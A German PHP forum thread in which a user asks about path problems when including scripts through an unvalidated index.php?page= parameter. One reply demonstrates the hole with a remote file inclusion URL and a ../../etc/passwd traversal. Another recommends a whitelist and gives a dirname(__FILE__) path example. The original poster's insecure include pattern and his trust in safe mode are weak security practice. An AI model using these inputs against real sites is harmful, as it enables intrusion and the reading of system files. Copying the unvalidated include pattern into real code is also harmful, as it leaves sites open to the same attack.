Ankündigung

Einklappen
Keine Ankündigung bisher.

Einbinden von Seiten, die Includes enthalten, Pfad probleme.

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Einbinden von Seiten, die Includes enthalten, Pfad probleme.

    Hallo
    Ich habe ein Problem mit dein einbinden von meinem Download-Script in meine Homepage.

    Meine Index-Seite besteht aus einem einfachem Script, das die Seite includet die als variable an denn Link angefügt wurde.

    z.B. index.php?page=news.php

    Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )
    Nun möchte ich mein eigenes Downloadscript includen:
    index.php?page=script/down/download.php

    Das Problem ist nun, dass die Links und Includes der download.php von /down/ Verzeichnis ausgehen, wegen des includes „befindet“ sich die Datei aber im RootHome verzeichniss.

    Nun könnte ich alle Pfade per Hand abändern, aber das erscheint mir eine etwas „unschöne“ Lösung zu sein.

    Gibt es (außer Iframes) eine angenehme Möglichkeit wie man es Lösen könnte?

    LG Homwer

  • #2
    Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )
    Antwort:

    index.php?page=http://www.domain.de/bösesscript.txt
    index.php?page=../../../../../etc/passwd

    Kommentar


    • #3
      den basis Pfad von einer Seite am besten immer in einer Konstante aufbewahren und überall davor setzen....

      Irgentwie must du auch noch das oben beschrieben prob von clan umgehen.

      und wenn du nur php dateien inlcudest dann lass das aus der URL und nimm es mit in die includeanweisung.

      dann werden die URL´s kürzer (immerhin 4 Zeichen) und das oben beschrieben Prob ist schon einmal auf PHP Dateien beschränkt.. (reicht aber nicht).

      beste,
      Tim

      Kommentar


      • #4
        Prinzipiell ist die Lösung schlecht, weil sie eine Angriffsfläche bietet. Du könntest theoretisch dort Dateien angeben, die Passwörter enthalten usw.

        Besser ist beispielsweise das Angeben eines Namens, der dann für ein Script steht, beispielsweise "down" für "script/down/download.php". Mittels eines Arrays kann man herausfinden, welche Datei hinter einem Namen steht. Ist der Name nicht im Array enthalten gibst du einen Fehler aus...

        Zu deiner eigentlichen Frage: Eine relativ einfache und geschickte Lösung ist, wenn du die Pfade relativ zum Urpsrung angibst. Beispiel für deine download.php:
        PHP-Code:
        <?php
        $path 
        dirname(__FILE__);
        include(
        $path.'/script.php'); // gleiches Verzeichnis wie download.php
        include($path.'/../script.php'); // eins drüber
        ?>
        Musst natürlkich dafür sprgen, dass die kein anderes Script dein $path überschreibt...

        Kommentar


        • #5
          Zitat von Clan

          index.php?page=../../../../../etc/passwd
          Geht nicht, weil safe mode = on

          Das die Methode gewisse riesiken birgt ist mir klar, es geht im momment eigentlich auch nur darum wie ich am besten die anderen seiten einbinde auch wenn die Pfade so blöde sind.

          Kommentar

          Lädt...
          X